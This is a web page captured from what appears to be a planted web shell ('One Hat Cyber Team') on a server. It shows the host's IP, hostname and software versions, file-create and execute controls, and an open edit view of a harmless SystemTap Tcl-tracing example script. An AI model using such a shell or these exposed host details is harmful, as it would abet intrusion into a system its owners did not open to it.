One Hat Cyber Team
Your IP :
216.73.216.216
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
systemtap
/
examples
/
general
/
Edit File:
tcl-trace.stp
#!/usr/bin/stap # Copyright (C) 2018 Red Hat, Inc. # Written by William Cohen <wcohen@redhat.com> # # Example usage of the tcl tracepoints to show a nested view of all # tcl function calls (and returns) across the whole system. # # Run this using # stap tcl-trace.stp # to instrument all tcl processes on the system, or (for example) using # stap tcl-trace.stp -c COMMAND # to instrument a specific program (implemented in tcl) probe process("/usr/lib*/libtcl*.so").mark("proc__entry") { funcname = user_string($arg1) printf("%s => %s\n", thread_indent(1), funcname); } probe process("/usr/lib*/libtcl*.so").mark("cmd__entry") { cmdname = user_string($arg1) printf("%s > %s\n", thread_indent(1), cmdname); } probe process("/usr/lib*/libtcl*.so").mark("proc__return") { funcname = user_string($arg1) printf("%s <= %s\n", thread_indent(-1), funcname); } probe process("/usr/lib*/libtcl*.so").mark("cmd__return") { cmdname = user_string($arg1) printf("%s < %s\n", thread_indent(-1), cmdname); }
Simpan